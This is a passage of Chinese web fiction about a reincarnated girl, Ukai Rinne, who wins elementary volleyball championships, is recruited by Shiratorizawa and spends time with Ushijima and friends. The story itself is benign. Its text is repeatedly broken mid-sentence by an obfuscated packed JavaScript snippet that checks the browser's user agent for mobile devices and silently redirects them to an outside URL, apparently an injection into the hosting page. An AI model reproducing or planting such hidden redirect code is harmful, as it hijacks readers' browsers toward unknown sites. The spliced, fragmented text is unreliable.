东京队率先发球，一上来就执行了明确的战术，全力封锁乌养凛音。小林莉亚的移动快得惊人，只要球传向四号位，总能迅速组织起双人甚至三人拦网，严密地封死凛音最擅长的斜线和大直线。 第一次强攻，凛音的扣球打在小林莉亚并拢的手臂上，发出一声闷响，被无情地拦了回来。 “砰！”又一次，她的重扣被有效触球，对方组织了凌厉的反击。 “啪！”小林莉亚甚至完成了一次干净利落的单人拦网，直接将球按死在宫城县场内！ “拦网得分！东京队，8：4领先！” 开局不利。凛音皱了皱眉头，对方的拦网针对性太强，起跳时机和手型都无可挑剔，像一堵真正的铜墙铁壁。宫城县的一攻屡屡受挫，自身的防守在对方多点开花的反击下也开始出现漏洞。 “暂停！”宫城县教练果断叫停。 “她们的拦网节奏很快，乌养，不要硬碰硬，多观察，变化线路。”教练快速布置着，“黑川，多利用这一点，调动其他点进攻。” 暂停回来，情况稍有好转，黑川凪开始更多地组织快攻和后排进攻，试图分散对方的拦网注意力。但东京队的防守体系同样出色，总能及时补位。凛音虽然也凭借个人能力扣球得了不少分，但无法扭转整体的被动。 “局点！24：22！” 随着东京队主攻手一记小斜线扣杀得分，第一局的比分定格在 25：23。 宫城县丢掉了开赛以来的第一局。 局间休息，气氛有些凝重。 “没关系，下一局赢回来。”凛音拍了拍手，鼓励队友，眼神里没有丝毫慌乱，只有更加锐利的专注，“已经摸清她们的套路了。下一局，我们这样……” 第二局开始，宫城县的战术发生了明显变化。乌养凛音不再是唯一的得分点，她成为了一个巨大的战术诱饵。黑川凪的传球神出鬼没，时而给凛音传出空网平快球让她快速下手，时而又在她吸引拦网后，瞬间传给二号位或后排的队友。 这一变化打乱了东京队的防守布署。当她们不敢再轻易放弃对凛音的盯防时，其他位置的进攻空间就被创造了出来。 而凛音本人，也开始了她的表演。她不再执着于发力重扣，而是将她的武器库完全打开。 面对严密的拦网，一记轻巧的抹手，球乖巧地落在对方前区。 抓住对方拦网手并拢的瞬间，一记精准的打手出界。 甚至在一次反击中，她佯装强攻，却将球轻轻点向了对方防守最薄弱的角落。 “乌养凛音！又是她！她简直无所不能！”解说员的声音开始激动起来，“在球队最需要的时候，她总能以意想不到的方式得分！” 宫城县逐渐掌控了场上节奏，以 25：18的比分强势扳回一城。 比赛被拖入残酷的最终局，15分制，每一分都价值千金。双方比分交替上升，从1平一直鏖战到13平，气氛紧张得令人窒息。 13：14，宫城县落后一分，东京队手握赛点。 这是绝不能丢的一分！ 东京队发球，一传到位！黑川凪没有丝毫犹豫，球依旧信任地传向了四号位的凛音。这是王牌的担当！ “拦住她！”东京队教练在场边大喊。 小林莉亚和小副攻瞬间形成双人拦网，封死了所有常规线路。 千钧一发之际，助跑中的凛音，蹬地步伐出现了微妙的差异，她的身体在空中有一个极小幅度的向右扭转，原本蓄势待发的右臂引而不发，那支一直被隐藏的、作为秘密武器训练的左臂，如同黑暗中射出的匕首，骤然挥击！ “什么？！左手？！”惊呼声炸响全场。 小林莉亚的拦网节奏被完全打乱！这记左手扣球的力量虽不如她的右手重扣那般有摧枯拉朽之势，但它来自一个完全出乎意料的角度！ 球如同精准制导的导弹，从小林莉亚手侧的空隙呼啸而过，狠狠砸在底线之内！ “得分！漂亮的左手进攻！14：14平！”解说员几乎是从座位上跳了起来，声音因激动而嘶哑，“在逆境中，乌养凛音选手，她又一次站了出来！她简直就是降临在排球赛场上的女武神！为我们展现了什么是真正的王牌风范！” 女武神！ 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他的选择更加坚定了凛音选择白鸟泽的决心。至于黑川凪，那当然是凛音到哪她就到哪了，她对去哪个学校根本无所谓。 最后，凛音和黑川凪答应了白鸟泽，双方签下了协议。六年级毕业的时候乌养凛音和黑川凪就可以无条件限制地加入白鸟泽，但也只能选择白鸟泽。 按理来说白鸟泽应该在六年级时才特招凛音，但她实在太优秀了，在五年级就斩头露角，所有学校都怕其他学校提前特招她，干脆全都提前去和她沟通。至于黑川凪，还没有值得他们五年级就特招，但考虑到这两人从小就配合，而且黑川凪目前的身高很适合打排球，本人也是个二传天才，当然是一起招进来了。 10. 赛后日常 这段时间，凛音每天走在学校都有人笑着和她打招呼，恭喜她夺冠什么的，都快让她有些飘飘然了。 当然，每天的排球还是要练习的，这已经成了习惯，也是她生活的一部分了。 赛后复盘也要做，而且要很认真的去做，她需要知道在比赛那种高压环境下，她有哪些动作出现变形，还有哪些进攻的路线或者策略可以优化。 所以周末的时候，凛音把黑川凪和牛岛若利都喊到了家里，在她房间放起了录像带，三个人一起研究录像带，查漏补缺。 一边讨论一边做笔记，还顺带分析对手的特点，尤其是五年级学生，因为明年还是对手。 黑川凪看的尤为认真，她在努力思考在当时的情况下，把球托给别人会不会更好。 “凪，你看这一分，你把球托给了我，但你也知道，当时防我的人太多了，给我不是最好的选择，这一球给织田会更好。我知道你很相信我，但也要相信队友啊。”凛音指着录像带提醒黑川凪。 黑川凪没有说话，她在思考，她知道凛音说得是对的，她已经发现这次比赛中好多次把球托给凛音都不是最优解，黑川凪想，二传果然不是那么简单的，还需要对队友有所了解，在传球时要综合队友的位置，对方的位置和队友的实力来选择一个攻手，让得分的可能性最大。 “至少在最危急的时刻我会把球给你。” 因为我相信你一定会拿到这一分的。 “好啊，我一定不会辜负凪的信任。”凛音闻言对着凪露出灿烂的笑容。 黑川凪看得有些发愣，但她很快就回过神来，低声补充到：“就算那一分没有拿下也没关系，不过是一场比赛而已。” “不要担心我会有压力的，凪，这对我来说不是压力，是动力啊，每一个被二传深深信赖着的攻手都会觉得幸福的。” 黑川凪又愣了愣，忍不住露出微笑。 牛岛若利在旁边不说话，不知道脑子里想的什么。 凛音根本不担心牛岛若利会为自己无法融入她们两人而不开心，因为他就没想过融入，就像黑川凪也没想过融入凛音和牛岛若利之间一样。 乌养凛音是他们很重要的人，但他们之间却从来不想要了解彼此，所有的交集都是因为乌养凛音。一开始凛音还有点烦恼，但后面也就习惯了，毕竟他们三个人还是能和谐相处的嘛。 牛岛若利作为最优秀的攻手之一也给凛音提了自己的建议，还有告诉她左手进攻的发力，角度，姿势。 看完女排的比赛后，黑川凪离开了，带着她写的好几页的笔记。这家伙学习就没有这么认真过……凛音忍不住吐槽。 只剩下凛音来陪着牛岛若利看录像带。毕竟不是自己的比赛，她看得就会随意一点，整个人瘫在沙发上。 或许是预选赛时候的比赛很无聊吧，凛音看着看着就睡着了。 当牛岛若利说话时，发现没人理自己，才发现凛音已经瘫在沙发睡着了，或许是因为沙发上不舒服，她的眉头微皱。看到这一幕，牛岛若利的神情变得柔和了下来，不自觉就露出了一个转瞬即逝的微笑。思考了一下，他没有叫醒凛音，而是小心地把她挪到床上，盖好被子，自己一个人进行赛后复盘。 过了好几个小时，天空都变橙变粉了，录像带终于要看完了，只有两场比赛没看了。 牛岛若利晃了晃睡得正香的凛音，没叫醒，毕竟午觉很容易睡得很沉，又晃了晃，还没醒，喊了她几声也没什么反应。牛岛若利也很无奈，他直接捏住了凛音的鼻子，把她憋醒了。 “你干嘛啊！好烦！不要动我！”凛音起床气显然很大，对自己被捏鼻子这件事表示很不满。 “看到我们输的那场比赛了，我觉得你会想看，所以把你叫醒了。”牛岛若利解释到。 此刻凛音已经睡蒙了，她的脑子还没搞清楚状况，坐在床上感觉十分茫然，不知道现在几点，也反应不过来现在在干嘛，凭借本能爬下了床，还差点摔了一下，坐到牛岛若利旁边。 凛音晃了晃头，双手狠狠拍了一下脸颊，感觉自己清醒了几分，示意牛岛若利继续放。 看了没一会凛音就彻底清醒了，比赛确实很精彩，对方的配合要比宫城好很多，尽管个人实力上比宫城略差，但综合实力确实要强一点，只能说输得不冤。 男排的前四名都是名副其实。 两个人看完后又讨论了一会就结束了。 “若利，今天我爸妈加班，不回家吃饭，只有我一个人，你能陪我出去吃吗？” “嗯，好。”牛岛若利毫不犹豫的同意了。 “那我请你吃牛肉丁盖浇饭吧。” 牛岛若利点点头，或许是想到了牛肉丁盖浇饭的美味吧，他情不自禁地露出一个微笑，虽然表情很快就和平时一样了，但还是被凛音看到了。 ……牛肉盖浇饭真的有那么好吃吗？ 他们去的是牛岛若利常去的店，凛音点了两份牛肉粒盖浇饭，她倒是要尝尝到底有多好吃。 没过多久，两人露出同款幸福的微笑，牛岛若利的短一点，凛音的久一点。 牛肉粒盖浇饭真好吃啊……凛音和牛岛若利都在心里这么想着。 凛音平时练球练得很辛苦，但只要吃完晚饭她就不会再运动了，她上辈子晚上运动，然后得了急性阑尾炎，那种疼痛她这辈子都不会忘的。虽然两者之间可能没什么关联，但她从此就不再晚上运动了，会联想起那种疼痛。 所以，饭后，凛音和牛岛若利没有去练球，而是在慢慢散步。 步行道上，两个人有一搭没一搭地说着话，还时不时陷入长久的沉默，但没人觉得尴尬，问就是习惯了。 “若利，我昨天打cs被队友骂了，好难过啊。” “嗯，别难过了。” “明明是他自己打得不好，还要甩锅给我，太过分了！” “嗯，是很过分。” “还有一次遇到了中国人，他用中文和朋友说我声音很可爱，以为我听不懂，结果我说了中文，给他吓坏了，哈哈哈哈哈。” “嗯，你确实很可爱。” “嘿嘿嘿，算你有眼光。” “嗯”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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天色早已完全黑了下来，凛音看了看表，已经九点了，不好有点太晚了，爸爸妈妈肯定担心了。唉，要是有个手机就好了，这个年头手机还全是翻盖的吧。 牛岛若利也意识到现在已经很晚了。 “我送你到家吧。”他觉得女孩子这么晚不太安全。 “好，谢谢你哦，若利。”凛音自己也有点害怕，上辈子她听说日本好多电车痴汉，搞不准会不会遇到什么炼铜癖。 到家以后，爸爸妈妈果然在焦急地等着她回家，他们对牛岛若利万分感谢。 凛音并没有被父母责备，他们只是问了凛音喜欢什么样的手机，凛音哪个都不喜欢，翻盖机有什么好玩的。 第二天周日，凛音睡了个懒觉，一起床就收到了父母送她的诺基亚。她印象里这个牌子好像过不了几年就倒闭了，现在还是很火的。 凛音上辈子不是诺基亚那个时代的，所以没见过这种手机，她好奇地摆弄了一番觉得还挺有意思的，比她想象的要好玩一点。 吃饭早饭，凛音看了会书，然后热身热身，准备去练球。 11. 再次夺冠 晚上，可能出于对新手机的新奇感，凛音给有联系方式的朋友们打去了电话。 “喂，是凪吗？这里是乌养。” “是我，打电话来干嘛？”接到凛音的电话，黑川凪还是很开心的。 “没什么事，我爸妈给我买了手机，打个电话给你玩玩。” “……那我挂了。”凪有点无语。 “不要生气嘛，凪，我第一个就给你打了哦~” “哼，这还差不多。这下挂吧。” 接着再给牛岛若利打电话。 “喂，是若利吗？这里是凛音。” “是我，有什么事吗？” “没事。” “那为什么要给我打电话？” “嘿嘿，爸妈给我一部新手机，打着玩。” “你好无聊。”牛岛若利也觉得很无语，直言不讳地吐槽。 “略略略，我挂了，晚安。”凛音做了个鬼脸。 “嗯，晚安。” 然后，她又打给了鸟海玲奈和小林莉亚，不过她没有用对黑川凪和牛岛若利的那套说辞，只是说好久没联络了，联系一下感情之类的。 其中，小林莉亚有问乌养凛音国中想去哪个学校，有没有兴趣来东京上学。凛音老老实实地说自己已经和白鸟泽签约了，小林了然地“哦”了一声，没有再继续这个话题了。 拨弄完手机，离睡觉时间还早，凛音准备打两局cs，上床看会书再睡觉。 整个五年级过得和四年级也没什么区别，不过凛音的个子窜了一小截，到了六年级第二学期结束时，她已经一米六二了。如果不是那张脸看着有些幼态，恐怕会被认为是高中生或者大学生。 今年的集训又要开始了，凛音没有和前两次一样激动地睡不着。 因为去年集训的的时候没有四年级学生入选，所以今年的五年级新人应该没有非常出彩的。 到了一看，去年的五年级生今年都还在，又多选了两个六年级生，这一年五年级生有五个，数量还行，但是竟然有五个四年级生，看来这一届很强啊。 这一次集训，凛音成了大前辈，每天被人追着喊“乌养前辈”，心里感觉很爽。 后辈们很喜欢来问她一些问题，攻手和二传都有，凛音总是会温柔详细地给她们解答，还喜欢露出明媚的笑容和可爱的小酒窝，把后辈们迷得晕乎乎的。 她很喜欢这些热爱排球的后辈，给她们回答问题总让她觉得排球在传承，后面下一届宫城县代表队还得看她们呢。 要是能拐到白鸟泽就好了。看着这些有活力的后辈们，凛音这么想着，哪怕她还没有加入白鸟泽。 集训很快结束了，凛音仍然是毋庸置疑的队长，所有人都很信赖她，对她的实力心悦诚服。 集训结束过了几天，大家就要参加预选赛了。五年级的几个孩子看上去有些紧张，四年级这几个来观赛的则更多的是期望吧。 “这次要是夺冠了，我请大家吃火锅，包括四年级的后辈们哦~”凛音看大家这么紧张，用火锅来激励一下。 “噢噢噢噢噢噢！”大家瞬间兴奋地大喊起来，有了干劲。火锅不重要，重要的是大家一起聚餐，还是乌养前辈请客。 今年教练组很是给力，备赛做的很好，有和大家分析过预选赛对手的情况，常用战术，选手的常用决策等等。 预选赛进行的很顺利，没有什么波折就顺利晋级了。 预选赛结束后的这几天，大家也还是在集训，但主要是在针对对手进行分析。 教练把淘汰赛阶段稍微有竞争力的队伍都分析了一遍，并给出了对应的战术。不过并不一定准确，因为分析的材料是去年比赛的，而今年还会有未知的新生上场。 毕竟是第二次站在全国大赛的赛场上了，凛音和黑川凪的经验也更加丰富了，针对不同的战术还会有专门的手势。 甚至要比上次顺利一点，决赛之前的队伍对她们来说已经不是威胁了，两局就结束了比赛。 马上的决赛打的是东京代表队，小林莉亚的队伍，老对手啊。 今年的全国大赛决赛，仿佛上一年的重演，却又处处不同。体育馆依旧喧嚣，但站上赛场的乌养凛音和她的对手小林莉亚，眼神中都比去年多了一份沉稳与冷静。 网对面，小林莉亚的身高已然超过了凛音，身形更为矫健，眼里的战意比去年更加炽烈。 “又见面了，乌养同学。”赛前握手时，小林莉亚目光灼灼。 “今年也请多指教，小林同学。”凛音微笑着回应，眼神同样锐利。虽然两人算得上是朋友，但赛场上可不讲这个。 比赛一开始，东京队就展现了他们一年的成长。小林莉亚的拦网不再是单纯的依靠直觉和身体，而是融入了更精准的观察。她不仅预判凛音的扣球路线，甚至开始预判黑川凪的传球选择。 第一次强攻，凛音的斜线扣杀被小林莉亚和副攻组成的双人拦网完美地封堵了回来，球速快得惊人。 “砰！” “拦网得分！” “厉害……”凛音在心中赞叹。小林莉亚的移动更快，手型更硬，防守覆盖面积也更大了。 东京队的战术相较去年，更具整体性，她们不再仅仅依赖拦网，后排防守也是铜墙铁壁，多次救起宫城县的必杀球。比分紧紧咬住，交替上升。 23：24，宫城县落后一分，东京队局点。 关键一球，黑川凪冒险传了一个高速平网球，凛音几乎是凭借本能踏地起跳，在空中极力扭转身体，一记小斜线狠狠扣下！ 然而，一道身影更快！小林莉亚仿佛早已看穿，她放弃并拦，独自跃起，修长的手臂伸展，指尖堪堪擦到了球的边缘！ “触球一次！” 东京队一传稳稳接下，组织快攻。 “怦！” 一记快攻，宫城县没有能接下。 “东京队得分！25：23，东京队拿下第一局！” 全场沸腾。小林莉亚紧握双拳，发出了一声“好！”。 局间休息，气氛有些沉闷。去年的她们，就是在先失一局的情况下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“女武神！女武神！女武神！”观众们也被眼前的一幕所惊到，大喊着乌养凛音的外号。 这记扣球一下子就提起了队内的士气，而对手的气势被严重打击。 随着乌养凛音一记角度刁钻的跳飘球直接得分，比赛落下帷幕。 “比赛结束！16：14！冠军属于——宫城县代表队！” 哨声响起，乌养凛音站在原地，双手撑着膝盖，微微喘息，随即她对着观众席挥了挥手，露出灿烂的笑容。 拿下冠军。她的小学排球生涯，以最完美的方式，落下了帷幕。 网对面，小林莉亚走了过来，向她伸出了手。 “恭喜你，乌养同学。你真的很强。” 她的语气里带着熟稔与欣赏。 “你也是，小林同学。你的拦网又精进了。”凛音真诚地说。 “明天我带你去逛逛东京吧。”小林莉亚邀请道。 “好啊，回去联系。”凛音欣然答应。 12. 赛后日常2 比赛结束后，队伍在东京停留了一天，来给队员们休息参观东京。 决赛当天晚上，小林莉亚就和凛音约好商议好了明天参观的一些事情。 第二天早上，凛音提前几分钟去了聚头点，黑川凪则和队友一起行动。 到了以后发现小林莉亚已经等了几分钟了，两个人一边参观一边聊天，从排球聊到生活。 小林莉亚的父亲是日本人，母亲是英国人，两人曾经都是排球运动员，长得都很高大，她上头有个大四岁的姐姐。受父母的影响，小林莉亚和姐姐从小就打排球，但姐姐只是把排球当做了爱好，而小林莉亚则想去打职业。 “凛音同学好厉害，力气好大，我拦网拦的手都肿了。” “莉亚也是啊，你的拦网让每个主攻手都感到难受，球怎么都扣不下去，不是被拦死就是触球。” “哈哈，没那么厉害呢，要是能和乌养同学做队友就好了，我们一定能组成最强的矛与盾。”小林莉亚的语气里带着憧憬。 “是啊，真希望未来有一天能够成为队友呢，我的拦网也还不错，有了你的配合肯定天衣无缝。”凛音也在想这种可能，可惜恐怕只有未来打职业的时候才能成真了。 两人没有再继续这个话题，小林开始给她介绍东京的几个有名景点和特色小吃，两个人逛了一个上午一个下午，中午和晚上一起吃了饭。晚饭后看了会夜景，这一天也就结束了，小林把凛音送回了酒店后就回家了。 哪怕高强度走了一整天，凛音也没有觉得很累，她每天的体能训练强度很高，就是为了能体力充沛地打满五场比赛所准备。 唉，今天白天都没有来得及练球呢，幸好她一大早就起床练了一个小时才出门，不然就太难受了。 “还有最后一学期就升初中了，大家都打算去哪里呢？”凛音好奇地问黑川凪知不知道。 “我也不清楚，不过白鸟泽应该马上公布我们已经被特招的消息，我猜有不少人会跟着你进白鸟泽。”黑川凪觉得凛音天下第一好，就应该跟着她去白鸟泽。 “哈哈哈，那倒也不至于啦，不过白鸟泽的偏差值本来就很高，除去社团也是所好学校啊。” “嗯哼，我听说玲奈打算去白鸟泽，她排球水平那么好，应该也能特招进入吧。” “不知道呢，玲奈未来是要打自由人吧，她防守那么好，个子不太高。” “大概是，其他人我就不知道会去哪了。北川第一什么的吧，毕竟也是名门。” 两人又聊了会其他内容，聊到九点多就睡觉了。 第二天一早，大家都坐大巴回到了宫城县，此时的气氛与来时的紧张截然不同，欢天喜地的，堪称衣锦还乡，荣归故里。 因为凛音打过招呼，大巴没有开到原定的地点，直接开到了火锅店门口，众人兴高采烈地下了车，进到预定好的包厢，一共17个人，两个大桌子拼了起来。 服务员把菜单分给了大家，每个人都可以点菜。 “随便点不用客气，前辈我有钱哦！”凛音嘱咐大家自由点菜。 这家火锅店是四川人开的，招牌自然就是那种红红的麻辣汤底，不过入乡随俗了，辣度要小很多。自从这家店开业以后，凛音就经常来，亲眼见证了原来爆辣的锅底变成现在这种微辣。 上辈子凛音挺喜欢吃辣的，属于又菜又爱玩的类型，勉强也能吃一点；这辈子就不行了，生成了日本人，一点辣都吃不得，练了好几年，现在终于能无压力吃这种微辣了。 她这次就点了一个大清汤锅，一个大鸳鸯锅，让小朋友们尝尝这种香香辣辣的味道。 看到这群日本小朋友吃火锅吃的那么开心，她就感到很欣慰，自己用钱给后辈们成功安利了中国美食，好开心哦。 一群小女孩在这种氛围和美食的加持下度过了一个很愉快的中午。 不过日本小女孩的饭量真的很少啊，凛音看每个人就吃了一点，还以为是怕花她的钱，直到剩了不少食材也没人吃，才知道是真的吃不下了。 剩了这么多食材，大家都有些忐忑，怕浪费了，也在心里暗自责备自己是不是点太多了。 然后，凛音把它们陆续下锅，一个人全吃光了，一群小女孩大眼瞪小眼，不敢说话，怕被凛音误会，觉得自己对她的食量有意见。毕竟日本女孩流行吃的少，像凛音这样的在外面会被人说闲话的。 “我的食量很大吧，所以我的力量也很大啊~”凛音丝毫不在意自己会因为食量而被说什么。 大家见到凛音的淡定松了口气，又说说笑笑了起来，也没人在避讳提到食量了。 “唉，如果能有乌养前辈这种力量，这是让我成为大胃王我也认了啊。”都是热爱打排球的好女孩，自然渴望拥有利于打球的身体条件。 大家纷纷点头附和。 别看决赛的时候小林莉亚拦网拦得轻描淡写的，其实大家都看到了，拦了几个球以后就下场涂药了，再上场的时候手上就缠了几圈胶布。她们和凛音打得更多，自然是有经验的，手被球打肿了嘛。 吃完饭后，服务员把东西收了，桌子擦了，大家在包厢里又玩了一会，舍不得走，这很可能是大家这辈子最后一次像这样聚在一起了，未来在不同的学校说不定就是对手了。 可惜，时间不为任何人停留，到了下午四点，天有些暗了，冬天天黑得比较快，众人这才依依不舍的分开，各自回家。 回到学校后，恭喜乌养凛音和黑川凪夺冠的横幅又挂上去了，牛岛若利如今初中住校呢，也打电话祝贺了她。 走在学校，学弟学妹们都崇拜地看着她，祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808523|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺她再次夺冠，在她的影响下，学校的排球社成了最热门的体育社团。 路上还时不时能听到有不少学生在背后议论：“那就是乌养学姐吧，不愧是女武神啊，好帅哦！” …… 凛音也不知道女武神这个外号是怎么传起来的，不过确实很帅啊，她认可了。 过了几天，她收到了白鸟泽的邀请，请她去拍新的招生宣传片，毕竟她和白鸟泽签约了，也算是白鸟泽的学生了。 凛音欣然同意，趁着周末来到了白鸟泽的初中部去拍视频，不过招生视频本来就不太长，她一个人的镜头也只有十几秒，但十几秒的出场已经足够令她骄傲了，因为整个女排社团的镜头也只有三十秒。 这是第二次来白鸟泽的初中部，环境很好，中午牛岛若利带着她去吃饭，就吃的食堂。 嗯，白鸟泽的食堂还不错诶。凛音这么想着，虽然她不喜欢日本的饭，但吃习惯了也就习惯了。 她和若利一边吃饭一边聊天，偶尔还能看到几个男孩一脸惊讶地盯着他们，不用猜凛音就知道他们大概要说什么，无非就是牛岛竟然能和别人相谈甚欢之类的。 不过这几个男孩还是来找牛岛若利打招呼了，牛岛只是“嗯，你们好。” 还是凛音自我介绍了一番。 一个小插曲而已，凛音继续和牛岛若利聊天。 “若利若利，学校可以带手机吗？” “可以。” “可以带电脑吗？” “我不知道，不过我会帮你问问的。” “你觉得白鸟泽怎么样？你喜欢这里吗？” “挺好的，我很喜欢。” 看来白鸟泽果然是不错的学校呢。 没几天白鸟泽的招生宣传片就出来了，很符合贵族私立学校的特点，宣传片也做的很高级。 凛音看着宣传片里自己帅气的镜头非常满意，上面还标注了她的外号“女武神”诶，不错不错。 这个宣传片很快就传开了，全校都知道凛音已经要去白鸟泽了。 凛音走在路上时不时跳出来一个认识的学弟学妹说：“我也要像乌养学姐学习，考进白鸟泽，学姐一定要在白鸟泽等我啊。” 等你个p，你才三年级啊，等我上高中了你才能上国中吧。凛音默默吐槽，但面对这些小孩，她也只是说“加油”。 “凪，想想马上就要上国中了有点激动呢，听说上课开小差老师都不管欸。”凛音傻笑着对凪说，她确实不知道日本的国中会是什么样子，听说课很少，很多活动，很多假期，听着好爽啊。虽然小学已经够爽了。 凪没忍住翻了个白眼，她不禁想起一年级刚开学时，她真是眼瞎了才觉得这个人仙姿玉貌，风光霁月的。 不过她永远是我心中的小太阳。 13. 小学最后的暑假 真到了小学毕业那天，还挺不舍的，老师把毕业照发给大家，大家纷纷拿着相机拍合照。 几乎全班同学都来找凛音拍了一张合照，她的脸都要笑僵了。 拍完班内的还要其他班的小姑娘来找她拍照，偶尔遇到低年级的还要拍…… 等凛音拍了一圈回到黑川凪那的时候，已经有些萎靡了，她冷着脸说到：“我现在是一个没有感情的杀手，我已经不会笑了。” “来，和我拍个照片。” 凛音立刻露出灿烂的笑容。 “哈哈哈。”黑川凪都看笑了。 凛音很快意识到自己被耍了，幽怨地盯着黑川凪。 毕业后，开始了漫长而又令人愉快的暑假，凛音又要去爷爷家啦。 这两年爷爷的身体不太好，就没有再去乌野当教练了。 乌养爷爷对孙女去白鸟泽念书的事感觉很复杂，毕竟他以前也和鹫匠教练有过理念之争，现在孙女去了他的地盘，虽说女排男排有所不同，但女排严格意义上来说也归他管，只是不怎么参与管理罢了。算了，该烦的是鹫匠，管他什么事，爷爷没心没肺地想着。 爷爷因为这两年身体原因，都是住在凛音的伯伯家，方便照顾，所以这次凛音也去的是伯伯家。 因为是工作日，家里只有爷爷和系心哥哥。 “爷爷！系心哥哥！我来了！”一下车，凛音就开始大喊起来。 乌养系心很快出来开门，下意识想像小时候那样把她抱起来转一圈，然后发现孩子一下子就成大人了，一米六五了都，抱不起来了。 系心尴尬地摸了摸鼻子，和凛音打招呼：“啊，凛音终于来了啊，叔叔，你们都进来坐吧。” 这次是爸爸请假来送的凛音，妈妈要工作没有来。爸爸想着反正请了半天假，不休息白不休息，干脆吃了午饭才走。 系心哥哥现在已经是上大学了，暑假在家没有打工，就是在母亲忙的时候会帮忙看店，平时会和他们成立的排球俱乐部一起练习。 “我们乌养家真是出了个了不得的天才啊！”系心欣慰地拍了拍堂妹的肩膀。 自从一岁时害她被排球砸了一下后，系心哥哥对凛音就算得上宠溺了，白天他去俱乐部的时间都减少了，经常带着凛音练球，爷爷会坐在一旁安静地看着，脸上满是幸福的神态。 “系心哥哥，带我去你们俱乐部看看吧！我想去！” “好好好，带你去，带你去，真是受不了你了。” 到了俱乐部，好哥们看到了凛音就和系心开起了玩笑。 “哟，这是你们家女武神啊，你天天提的小妹妹？” 系心有点尴尬：“我也没有经常提啊，这是我妹妹乌养凛音。” 系心带着凛音介绍了自己的朋友们，他们也都想见见这个很有名的小学生什么水平。 他们带着凛音打了三对三的练习赛，对凛音的排球水准暗暗心惊，尽管凛音还打不过他们，因为孩子还没上国中呢，力量身高确实是比不上成年男子。 虽然打不过这些人，但今天的小练习赛还是让凛音感到兴奋，她很少有机会接到这种力量高于她的球，对她来说是一种宝贵的经验。 “系心，以后可以带妹妹来练球哦。”系心的朋友邀请道。 回家以后，系心有问凛音还愿不愿意继续去练习了。 那她当然是愿意了，排球是多人运动，练习的时候多人效果也会更好，就算打不过那些男大学生也无所谓嘛，练习而已，凛音不在乎输赢。 后面几周，系心都带着凛音去俱乐部里练球，他的朋友们倒也是挺愿意教小孩的。这些人在凛音看来水平还不错，不过远达不到职业标准，只是能吊打她而已。 她还没有和那种教练之外的水平很高的人练习过，这种感觉很不一样。 幸好她爷爷还坐在观战席，可以给她一些指导。 某次练习回家以后，爷爷就说：“凛音，虽然对面比你高不少，但是有的球你还是有机会凭借拦网防住的，只是要掌握好时机。” 然后爷爷就开始了教学。 在俱乐部练球的时候，凛音还完善了她的发球。尽管她从一年级就开始着重练习了跳发和跳飘，但比赛的时候也很少靠着发球得分，她的发球还不具备那种压迫感。有了六年的底子，跟着这群大哥哥练了几天以后感觉发球水平确实进步很大，凛音觉得自己打弱队都能靠发球拿个六七分。 以前她的发球水平也很不错，但缺少了那种想要发球得分的想法，她并不相信自己的发球，更多的想的是靠发球扰乱敌方的阵型，让对方一传不稳，给己方的拦网和反击制造机会，而那种想靠发球得分的发球方式失误的可能更高。 不过现在想想，凛音内心还是想靠发球得分的吧，不惧怕失误，用尽全力地一球。 这点确实不应该啊，看来上辈子基础不牢发球失误多了还是给她留下了自己也没察觉到的阴影啊。 幸好这次被发现了，不然还不知道什么时候才能走上对我来说正确的发球道路啊。凛音庆幸地想着。她把这种不惧失误的勇气铭记于心，投入高强度的训练中。 在俱乐部练球的强度确实很高的，但对她来说还能接受，她每天都有认真锻炼。 系心见凛音每天嬉皮笑脸的，和这群人打成一片，放下心来，放心地帮妈妈去看店了，让爷爷带着她去练球。 凛音回家的那天给几个大哥哥一人送了一份她做的中餐便当以示感谢，肉的分量很足。 不止是便当，在伯伯家她也经常做饭，她只会做中餐，但做的很好，伯伯一家人吃 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凛音一把夺过，笑嘻嘻地说：“谢谢你了，若利，这是我的了。” 嘿嘿，买这个不就是为了让你拼好了我好拿走嘛。 “……你拿走吧。”牛岛若利听着有一点不舍，但还是让凛音拿走了。 凛音开开心心蹦蹦跳跳地拿着拼好的谷子回家了。 由于白鸟泽是住宿制的，所以这周末爸爸妈妈要带她去附近最大的超市买日常用品和别的住宿要用到的东西。 凛音列了个清单，打算照着上面买。 这周末也就是去牛岛家的第二天，爸爸开车带着他们去的。先是去了凛音喜欢的火锅店吃了火锅，用妈妈的话说，去住校了就不能够自由吃火锅了。然后才去了超市了。 本来按照清单买好就没事了，结果妈妈还带她去了女性用品区，买了一大堆各式各样的卫生巾。 “这个你应该知道是什么吧，你们在学校也有学过，回去以后妈妈教你怎么用？你平时要在包里放几片哦，要是生理期来了也不要慌，按妈妈教你的做。” 凛音愣住了，变成小孩后，她差点就忘了还有这回事，一想到以后还要经受大姨妈的折磨她就难受，希望她不是痛经体质。 买完卫生巾，爸爸带她去了电脑店，给她买了一台笔记本电脑。 